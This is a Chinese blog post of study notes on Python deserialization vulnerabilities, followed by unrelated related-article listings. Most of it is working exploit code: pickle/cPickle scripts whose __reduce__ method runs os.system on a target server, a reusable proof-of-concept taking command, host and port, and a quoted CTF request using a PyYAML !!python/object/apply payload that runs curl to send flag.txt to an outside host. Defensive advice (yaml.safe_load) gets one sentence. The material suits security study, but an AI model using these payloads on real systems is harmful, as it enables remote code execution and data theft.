python反序列化研究学习
零、补充:
补充于2018-02-08,之前研究时候有一个疑惑,python的序列化成二进制,打web服务怎么传这个二进制对象呢,今天请教了身边大神(传说的九零后黑客代表),可以使用base64传输。
测试代码:
#client.py
import os
import sys
import base64
import socket
import cPickle #定义payload类型
class payload(object):
def __init__(self,command):
self.__command = command
def __reduce__(self):
return (os.system,((self.__command),)) #定义全局socket对象
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #定义主函数,生成payload对象
if __name__ == "__main__":
#cmd = sys.argv[1]
#rip = sys.argv[2]
#pot = sys.argv[3]
cmd = "whoami"
rip = "127.0.0.1"
pot = 5222
payload_object = payload(cmd)
send_object = cPickle.dumps(payload_object)
sock.connect((rip,int(pot)))
send_object = base64.b64encode(send_object)
sock.send(send_object) #server.py
# -*- coding:utf-8 -*-
import socket
import os
import cPickle
import base64 sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind(("127.0.0.1",5222))
sock.listen(5)
con,addr = sock.accept()
ret = con.recv(1024)
ret = base64.b64decode(ret)
m = cPickle.loads(ret)
果然执行成功了,这样就解决了打击WEB服务的办法,base64字符串可以作为参数在request请求报文中传递了。
一、python的反序列化漏洞:
一个简单的小例子证明存在性:Python的反序列化漏洞,和java、php一样python的反序列化漏洞也非常严重!咱们举一个socket的远程远程简单的例子来尝试:
举例说明:
client传送一个类对象序列化过去给server,server反序列化这个类对象。
client.py
#serail.py
# -*- coding:utf-8 -*-
import os
import socket
import cPickle class Vuln(object):
name = 1
def __reduce__(self):
return (os.system,(('id'),)) sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(("127.0.0.1",5222))
m = Vuln()
ret = cPickle.dumps(m)
sock.send(ret)
sock.close()
server.py
#server.py
# -*- coding:utf-8 -*-
import socket
import os
import cPickle sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind(("127.0.0.1",5222))
sock.listen(5)
con,addr = sock.accept()
ret = con.recv(1024)
m = cPickle.loads(ret)
测试效果:
类似于cPickle和pickle的这种适合打一些TCP连接的:
这里写一个脚本作为一般poc
# -*- coding:utf-8 -*-
"""
这个脚本用来生成payload,并进行打击
作者:陈然
公司:360企业安全
"""
#引入依赖包文件
import os
import sys
import socket
import cPickle #定义payload类型
class payload(object):
def __init__(self,command):
self.__command = command
def __reduce__(self):
return (os.system,((self.__command),)) #定义全局socket对象
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #定义主函数,生成payload对象
if __name__ == "__main__":
cmd = sys.argv[1]
rip = sys.argv[2]
pot = sys.argv[3]
payload_object = payload(cmd)
send_object = cPickle.dumps(payload_object)
sock.connect((rip,int(pot)))
sock.send(send_object)
二、HTTP中的python反序列化漏洞--PyYAML
1、这里要注意,对站点相关开发有要求:
(1)使用PyYAML这个库
(2)使用了yaml.load函数而不是yaml.safe_load函数
2、好了,来看函数吧:
(1):
我们需要知道危险的yaml标签是这个:!!python/object/apply 这个tag是罪魁祸首!
(2)这个tag的解析在yaml库的constructor.py文件中:
然后我们来看对应的地方:就是这个函数construct_python_object_apply函数,关于类型的创建问题在这里:
跳转过去看下,这个地方有cls函数
而这里的cls函数取自find_python_name这个函数的返回值:
这个函数返回值是getattr的返回值
我们来做一个实验:
import os class A(object):
name = 1
def __reduce__(self):
os.system("whoami") a = A()
func = getattr(a,"__reduce__")
print "func:",func
func()
实验结果:
这就是getattr返回给了cls,cls函数执行到了!!python/object/apply标签中的代码被执行。
3、攻击场景:
这种场景有可能在HTTP协议中见到:
看一个某我不认识的大神博客中的一个例子https://www.anquanke.com/post/id/86800
'''
POST / HTTP/1.1
Host: ganon.39586ebba722e94b.ctf.land:8001
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
Content-Length: 438 -----------------------------200783363553063815533894329
Content-Disposition: form-data; name="file"; filename="test.yaml"
Content-Type: application/x-yaml ---
"goodbye": !!python/object/apply:os.system ["curl https://crowdshield.com/?`cat flag.txt`"] -----------------------------200783363553063815533894329
Content-Disposition: form-data; name="upload" -----------------------------200783363553063815533894329-- </div> <div class="container main" >
<div>
<div class="col-md-12 main"> <ul><li><code>goodbye</code> : <code>0</code></li></ul> </div>
</div>
</div>
'''
很显然,payload就是这个部分:"goodbye": !!python/object/apply:os.system ["curl https://crowdshield.com/?`cat flag.txt`"]
好了,关于Python的反序列化就笔记记录到这里。关于防御的话,只能说,对于Yaml的使用safe_load函数,对于pickle有大神考虑在pickle中下钩子,拦截住。但是目前对于cPickle还没有有效的防御办法。
python反序列化研究学习的更多相关文章
- Python 反序列化漏洞学习笔记
参考文章 一篇文章带你理解漏洞之 Python 反序列化漏洞 Python Pickle/CPickle 反序列化漏洞 Python反序列化安全问题 pickle反序列化初探 前言 上面看完,请忽略下 ...
- 基于python的opcode优化和模块按需加载机制研究(学习与个人思路)(原创)
基于python的opcode优化和模块按需加载机制研究(学习与思考) 姓名:XXX 学校信息:XXX 主用编程语言:python3.5 个人技术博客:http://www.cnblogs.com/M ...
- 从Theano到Lasagne:基于Python的深度学习的框架和库
从Theano到Lasagne:基于Python的深度学习的框架和库 摘要:最近,深度神经网络以“Deep Dreams”形式在网站中如雨后春笋般出现,或是像谷歌研究原创论文中描述的那样:Incept ...
- Python语言程序设计学习 之 了解Python
Python简介 Python是一种面向对象的解释型计算机程序设计语言,由荷兰人Guido van Rossum于1989年发明,第一个公开发行版发行于1991年. Python是纯粹的自由软件,源代 ...
- Python 应用领域及学习重点
笔者认为不管学习什么编程语言,首先要知道:学完之后在未来能做些什么? 本文将浅谈 Python 的应用领域及其在对应领域的学习重点.也仅是介绍了 Python 应用领域的"冰山一角" ...
- 一个Python爬虫工程师学习养成记
大数据的时代,网络爬虫已经成为了获取数据的一个重要手段. 但要学习好爬虫并没有那么简单.首先知识点和方向实在是太多了,它关系到了计算机网络.编程基础.前端开发.后端开发.App 开发与逆向.网络安全. ...
- PyQt(Python+Qt)学习随笔:富文本编辑器QTextEdit功能详解
专栏:Python基础教程目录 专栏:使用PyQt开发图形界面Python应用 专栏:PyQt入门学习 老猿Python博文目录 一.概述 QTextEdit是一个高级的所见即所得的文档查看器和编辑器 ...
- PyQt(Python+Qt)学习随笔:QTableWidget表格部件中行高和列宽的计算方式
老猿Python博文目录 专栏:使用PyQt开发图形界面Python应用 老猿Python博客地址 QTableWidget表格部件中行高和列宽的计算在Qt提供的资料中内容介绍比较泛,细节说得不清楚, ...
- 第15.16节 PyQt(Python+Qt)入门学习:PyQt中的信号(signal)和槽(slot)机制以及Designer中的使用
老猿Python博文目录 老猿Python博客地址 一.引言 前面一些章节其实已经在使用信号和槽了,但是作为Qt中最重要的机制也是Qt区别与其他开发平台的重要核心特性,还是非常有必要单独介绍. 二.信 ...
随机推荐
- 7个jquery easy ui 基本组件图解
以下给出7个jquery easy ui 基本组件: 1 基本面板 <!DOCTYPE html> <html> <head> <meta charset=& ...
- Ubuntu快捷键截图
gnome-screenshot #全屏截图 gnome-screenshot -a #区域截图 在设置-键盘-快捷键-自定义快捷键中添加这个指令,创建快捷键. 注:我本人是在VBox里装的Ubunt ...
- AutoFac文档7(转载)
目录 开始 Registering components 控制范围和生命周期 用模块结构化Autofac xml配置 与.net集成 深入理解Autofac 指导 关于 词汇表 适配器 和 装饰器 A ...
- JVM虚拟机(五):JDK8内存模型—消失的PermGen
一.JVM 内存模型 根据 JVM 规范,JVM 内存共分为虚拟机栈.堆.方法区.程序计数器.本地方法栈五个部分. 1.虚拟机栈: 每个线程有一个私有的栈,随着线程的创建而创建.栈里面存着的是一种叫“ ...
- GPIO—位带操作
GPIO—位带操作本章参考资料:< STM32F4xx 中文参考手册>存储器和总线构架章节. GPIO 章节,< Cortex®-M4 内核编程手册> 2.2.5 Bit-ba ...
- python学习笔记(6)--有道翻译爬虫
说明: 1. 导入三个模块,urllib.request.urlopen用来打开url链接,urllib.parse的urlencode方法将浏览器network里的data对象转为urlopen的第 ...
- Python操作Word【批量生成文章】
http://www.cnblogs.com/codex/p/4668396.html 需要做一些会议记录.总共有多少呢?五个地点x7个月份x每月4篇=140篇.虽然不很重要,但是140篇记录完全雷同 ...
- json datatable互转(真正能用的-原创)
网上有不少的转换类 可是不全 或者有错误 我现在贴一个 js 和C# 互转代码 希望能帮到需要的童鞋 首先C#转成 json /// <summary> /// DataT ...
- 浅谈NFC、RFID、红外、蓝牙的区别
很多朋友对NFC和RFID这两个词感到陌生,但是手机经常会出现支持NFC支付,又没太在意,NFC与RFID其实是手机支付的种方式(手机支付也被称作移动支付,是一种允许移动用户使用其移动终端对所消费的商 ...
- python文件编码说明 coding=utf-8
python 支持3种编码声明,一般常用能见到下面两种 1.# -*- coding: utf-8 -*- 这种写法是为了兼容Emacs的编码声明 2.短一点,但Emacs不能用# coding=ut ...